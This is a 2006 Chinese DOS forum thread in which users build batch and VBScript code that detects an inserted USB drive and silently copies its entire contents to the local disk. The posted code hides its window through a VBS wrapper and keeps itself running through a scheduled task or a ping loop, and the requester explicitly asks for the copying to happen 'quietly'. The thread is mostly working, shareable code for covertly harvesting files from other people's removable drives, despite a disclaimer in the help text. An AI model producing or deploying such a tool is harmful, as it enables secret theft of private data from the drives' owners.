中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 如何判断U盘已插入并自动COPY所有内容
« [1] [2] [3] »
作者:
标题: 如何判断U盘已插入并自动COPY所有内容 取消高亮 | 上一主题 | 下一主题
gene771771
初级用户





积分 105
发帖 77
注册 2006-11-9
来自 重庆
状态 离线
『楼 主』:  如何判断U盘已插入并自动COPY所有内容

有个仙要我写一个批处理,先判断U盘是否已插入,要是插入就自动COPY所有内容到硬盘,而且还要悄悄的。。。我左思右想,还是想不出来,来这里请教各位大仙~~~
谢谢!!!
最好是可以常注内存并自动判断滴,可以用第三方软件,比如SLEEP,choice等等。。。


现有最新版本为(更新中):
16楼 http://www.cn-dos.net/forum/view ... ghlight=&page=2


[ Last edited by gene771771 on 2006-11-30 at 01:51 AM ]

   此帖被 +2 点积分    点击查看详情   
评分人:【 fpqcj 分数: +1  时间:2007-3-12 01:02
评分人:【 分数: +1  时间:2010-9-4 15:16


2006-11-29 13:29
查看资料  发送邮件  发短消息 网志  OICQ (280385115)  编辑帖子
tianzizhi
高级用户




积分 622
发帖 214
注册 2006-9-22
状态 离线
『第 2 楼』:  

判断驱动器类型:
for %%i in (c d e f g h i j k) do@fsutil fsinfo drivetype %%i:>>d:\t.txt
findstr /i "可移动驱动器" d:\t.txt
if errorlevel==1 goto end
if errorlevel==0 goto cop
:end
exit
:cop
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" d:\t.txt') do@set yidong=%%i
copy %yidong%\*.* d:\ /y
存为g.bat
再在机子上执行一条每隔一些时间执行一次g.bat的命令
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr g.bat
其中2是指每两分钟执行一次.
其它的你再改改.没测试

   此帖被 +2 点积分    点击查看详情   
评分人:【 txratu 分数: +2  时间:2007-11-29 10:38


2006-11-29 22:53
查看资料  发送邮件  发短消息 网志  OICQ (419503077)  编辑帖子
9527
银牌会员

努力做坏人


积分 1185
发帖 438
注册 2006-8-28
来自 北京
状态 离线
『第 3 楼』:  

其实向楼主那样说用BAT来实现,效果并不是最佳,因为运行的时候必定会出现窗口,这样就不能达到隐藏的目的了,所以我没有什么可说的了

   此帖被 +1 点积分    点击查看详情   
评分人:【 gene771771 分数: +1  时间:2006-11-30 08:25




我今后在论坛的目标就是做个超级坏人!!!
2006-11-29 23:46
查看资料  发短消息 网志  OICQ (329429)  编辑帖子
tianzizhi
高级用户




积分 622
发帖 214
注册 2006-9-22
状态 离线
『第 4 楼』:  

再改进一下:
隐藏,调用一次vbs就行了

for %%i in (c d e f g h i j k) do @fsutil fsinfo drivetype %%i:>>d:\t.txt
findstr /i "可移动驱动器" d:\t.txt
if errorlevel==1 goto end
if errorlevel==0 goto cop
:end
exit
:cop
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" d:\t.txt') do @set yidong=%%i
copy %yidong%\*.* d:\ /y
del d:\t.txt
存为g.bat
set ws=WScript.CreateObject("WScript.Shell")
ws.Run "d:\g.bat",0
存为b.vbs
再运行一次
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr d:\b.vbs
即可.

[ Last edited by tianzizhi on 2006-11-30 at 01:27 AM ]

   此帖被 +3 点积分    点击查看详情   
评分人:【 gene771771 分数: +1  时间:2006-12-1 04:51
评分人:【 tashaxin 分数: +2  时间:2007-2-3 00:25


2006-11-30 01:23
查看资料  发送邮件  发短消息 网志  OICQ (419503077)  编辑帖子
tao0610
高级用户

朦胧的世界


积分 579
发帖 218
注册 2006-10-24
状态 离线
『第 5 楼』:  

计划任务的服务一般都是关闭的,还是INF比较实际一些..




认识自己,降伏自己,改变自己
,才能改变别人!
2006-11-30 07:06
查看资料  发短消息 网志   编辑帖子
tianzizhi
高级用户




积分 622
发帖 214
注册 2006-9-22
状态 离线
『第 6 楼』:  

计划服务大部分都是默认开着的,而不是关着的,我还没见到过重装系统后计划是关的情况.还有汇编,有几个人会用.我们的要求是通用性,人人都会,能简单就尽量简单,能不用第三方软件就尽量不用第三方软件.

2006-11-30 08:22
查看资料  发送邮件  发短消息 网志  OICQ (419503077)  编辑帖子
tao0610
高级用户

朦胧的世界


积分 579
发帖 218
注册 2006-10-24
状态 离线
『第 7 楼』:  

很多系统的优化都会把计划任务关了,现在装原版系统的也不多了.
inf说得是INF文件.




认识自己,降伏自己,改变自己
,才能改变别人!
2006-11-30 08:34
查看资料  发短消息 网志   编辑帖子
gene771771
初级用户





积分 105
发帖 77
注册 2006-11-9
来自 重庆
状态 离线
『第 8 楼』:  tao0610

请问通过INF怎么实现呢??

2006-11-30 09:06
查看资料  发送邮件  发短消息 网志  OICQ (280385115)  编辑帖子
gene771771
初级用户





积分 105
发帖 77
注册 2006-11-9
来自 重庆
状态 离线
『第 9 楼』:  修改后的代码

首先,非常感谢tianzizhi提供的源代码,
我现在将修改后的代码发上来,
现在的问题是,怎么启用那个策略呢,默认是关闭的。
或者是不是有高人有其他的解决办法呢???

第一个文件:U盘自动复制.cmd

@echo off
color 17
:start
cls
title $$$$*晗*晗*制*造*$$$$
echo.
echo.
echo.
echo         ==============================================================
echo.
echo                            U盘自动复制程序
echo.
echo                   欢迎使用,请选择选项(1,2,3,4,5,6)
echo.
echo                              [1] 运行程序
echo                              [2] 关闭程序
echo                              [3] 安装程序
echo                              [4] 卸载程序
echo                              [5] 使用帮助
echo                              [6] X键关闭
echo.
echo.
echo.
echo         ==============================================================
echo.
set /p choice=请输入:
if {%choice%}=={} goto start
if /i %choice%==1 goto open
if /i %choice%==2 goto close
if /i %choice%==3 goto install
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================安装程序=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
rem ==============================隐藏窗口=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >>%temp%\hide.vbs
echo ws.Run "%path%",0 >>%temp%\hide.vbs
echo.
echo 安装成功结束!
pause >nul 2>nul
goto start
rem ==============================安装结束=============================


:uninstall
rem ==============================卸载程序=============================
echo.
schtasks /delete /s system /tn copyfiles /tn copyfiles /f >nul 2>nul
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
echo 程序已经成功卸载!
pause >nul 2>nul
goto start
rem ==============================卸载结束=============================


:open
rem ==============================运行程序=============================
echo.
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr %temp%\hide.vbs
echo 程序已经成功开始自运行(2分钟扫描一次)!
pause >nul 2>nul
goto start
rem ==============================运行结束=============================



:close
rem ==============================终止程序=============================
echo.
schtasks /delete /s system /tn copyfiles /tn copyfiles /f
echo 程序已经成功结束自运行!
pause >nul 2>nul
goto start
rem ==============================终止结束=============================



:help
rem ==============================使用帮助=============================
cls
echo.
echo.
echo.
echo.
echo.
echo   本工具适用于XPsp2系统,由此造成的一切损失,本人不负任何责任.
echo.
echo   使用方法: 1  点击安装程序
echo             2  点击运行程序,程序将自动每2分钟执行一次
echo             3  请务必确认你要copy的U盘无毒
echo             4  如果你计算机安装有杀毒软件,可能会无法使用VBS代码
echo             5  如果无法自动COPY,请每次手动点击COPY.cmd
echo             6  请及时清理c:\copy文件里边的文件
echo             7  请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘
echo.
echo    本软件为免费软件欢迎大家使用
echo    按任意键返回主菜单
pause >nul
goto start
rem ==============================帮助结束=============================


:shut
rem ==============================关闭程序=============================
exit
rem ==============================关闭结束=============================



第二文件:copy.cmd


@echo off
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "可移动驱动器" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
echo 没有检测到可移动磁盘!
exit
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy  
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
xcopy /e /y  %%i\*.* c:\copy >nul 2>nul
)
del /q "%temp%\copy.tmp"
echo 已复制,请及时清理文件!

   此帖被 +2 点积分    点击查看详情   
评分人:【 分数: +1  时间:2010-6-30 16:53
评分人:【 分数: +1  时间:2010-9-4 15:16


2006-11-30 10:37
查看资料  发送邮件  发短消息 网志  OICQ (280385115)  编辑帖子
tianzizhi
高级用户




积分 622
发帖 214
注册 2006-9-22
状态 离线
『第 10 楼』:  

请tao0610把你所说的用inf文件能实现楼主要求的程序写出来,让大家看看,我也想看看学习,不要光说不做.

2006-11-30 10:41
查看资料  发送邮件  发短消息 网志  OICQ (419503077)  编辑帖子
gene771771
初级用户





积分 105
发帖 77
注册 2006-11-9
来自 重庆
状态 离线
『第 11 楼』:  上传一个文件,测试用,不完整版本



[ Last edited by gene771771 on 2006-11-30 at 04:02 PM ]

附件 1: U盘自动复制.rar (2006-11-30 10:41, 1.56 K, 下载附件所需积分 1 点 ,下载次数: 191)
2006-11-30 10:41
查看资料  发送邮件  发短消息 网志  OICQ (280385115)  编辑帖子
tianzizhi
高级用户




积分 622
发帖 214
注册 2006-9-22
状态 离线
『第 12 楼』:  

楼主做的不错么,鼓励!接着加油!

2006-11-30 10:53
查看资料  发送邮件  发短消息 网志  OICQ (419503077)  编辑帖子
gene771771
初级用户





积分 105
发帖 77
注册 2006-11-9
来自 重庆
状态 离线
『第 13 楼』:  RE:发帖子问我的N个人

使用说明里边说得很清楚,要先安装就行了,默认目录在C:\COPY里边,
要是实现开机自动自行倒是简单,但是因为那个策略的问题现在还没有办法在不用第三方软件的条件下实现自动常驻内存。现在那个文件还是不完整的,等待高手来完善,不会的先不要下载。除非你要测试。其实那个copy.cmd是可以用的,但是就是没有办法自动循环扫描。

2006-11-30 11:57
查看资料  发送邮件  发短消息 网志  OICQ (280385115)  编辑帖子
gene771771
初级用户





积分 105
发帖 77
注册 2006-11-9
来自 重庆
状态 离线
『第 14 楼』:  

再次发个源码上来,这个应该可以用了,大家测试一下:

U盘自动复制安装.cmd

@echo off
color 17
:start
cls
title $$$$*晗*晗*制*造*$$$$
echo.
echo.
echo.
echo         ==============================================================
echo.
echo                            U盘自动复制程序
echo.
echo                   欢迎使用,请选择选项(1,2,3,4,5,6)
echo.
echo                              [1] 运行程序
echo                              [2] 关闭程序
echo                              [3] 安装程序
echo                              [4] 卸载程序
echo                              [5] 使用帮助
echo                              [6] X键关闭
echo.
echo.
echo                        $$$ 晗晗制造,版本1.0 $$$
echo.
echo         ==============================================================
echo.
set /p choice=请输入:
if {%choice%}=={} goto start
if /i %choice%==1 goto open
if /i %choice%==2 goto close
if /i %choice%==3 goto install
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================安装程序=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
rem ==============================隐藏窗口=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >>"%temp%\hide.vbs"
echo ws.Run "%path%",0 >>%temp%\hide.vbs
echo.
echo 安装成功结束!
pause >nul 2>nul
goto start
rem ==============================安装结束=============================


:uninstall
rem ==============================卸载程序=============================
echo.
if not exist %temp%\copy.cmd goto start
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
echo 程序已经成功卸载!
pause >nul 2>nul
goto start
rem ==============================卸载结束=============================


:open
rem ==============================运行程序=============================
echo.
if not exist %temp%\copy.cmd goto start
"%temp%\hide.vbs"
echo 程序已经成功开始自运行(20秒扫描一次)!
pause >nul 2>nul
goto start
rem ==============================运行结束=============================



:close
rem ==============================终止程序=============================
echo.
if not exist %temp%\copy.cmd goto start
tskill ping >nul 2>nul
echo 程序已经成功结束自运行!
pause >nul 2>nul
tskill cmd
rem ==============================终止结束=============================



:help
rem ==============================使用帮助=============================
cls
echo.
echo.
echo.
echo   本工具适用于XPsp2系统,由此造成的一切损失,本人不负任何责任.
echo.
echo   使用方法: 1  点击安装程序
echo             2  点击运行程序,程序将自动每20秒执行一次
echo             3  请务必确认你要copy的U盘无毒
echo             4  如果你计算机安装有杀毒软件,可能会无法使用VBS代码
echo             5  如果无法自动COPY,请每次手动点击COPY.cmd
echo             6  请及时清理默认保存目录c:\copy文件夹里边的文件
echo             7  请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘
echo             8  由于是通过PING来实现定时扫描的,占内存多,使用后请记得关闭
echo             9  本软件不保证拷贝数据的正确性
echo            10  本软件不要使用于非法用途
echo.
echo    本软件为免费软件欢迎大家使用
echo    按任意键返回主菜单
pause >nul 2>nul
goto start
rem ==============================帮助结束=============================


:shut
rem ==============================关闭程序=============================
exit
rem ==============================关闭结束=============================



copy.cmd



@echo off
mode con: cols=14 lines=1
:again
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "可移动驱动器" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
rem 没有检测到可移动磁盘!
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy  
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
xcopy /e /y  %%i\*.* c:\copy >nul 2>nul
)
del /q "%temp%\copy.tmp"
rem 已复制,请及时清理文件!
ping 127.0.0.1 -n 20 >nul 2>nul
goto again

2006-11-30 13:00
查看资料  发送邮件  发短消息 网志  OICQ (280385115)  编辑帖子
gene771771
初级用户





积分 105
发帖 77
注册 2006-11-9
来自 重庆
状态 离线
『第 15 楼』:  我写的最终版本

原来写了有两个版本,一个用了SLEEP,一个用ping,功能都是一样滴,现在我把两个综合了,在,没有SLEEP的情况下照常使用!
其他的情况看说明!希望高手修改加精!

按照惯例,源码是公开的,大家可以修改,但在可能的情况下尽量保持原作者的信息,这不仅是对别人劳动成果的尊重,也是做人的基本道理。。。


[ Last edited by gene771771 on 2006-11-30 at 03:35 PM ]

   此帖被 +5 点积分         点击查看详情   
评分人:【 jmz573515 分数: +4  时间:2007-2-2 08:29
评分人:【 分数: +1  时间:2010-12-6 18:13


附件 1: U盘自动复制.rar (2006-12-1 04:25, 9.97 K, 下载附件所需积分 1 点 ,下载次数: 565)
2006-11-30 14:49
查看资料  发送邮件  发短消息 网志  OICQ (280385115)  编辑帖子
« [1] [2] [3] »
请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: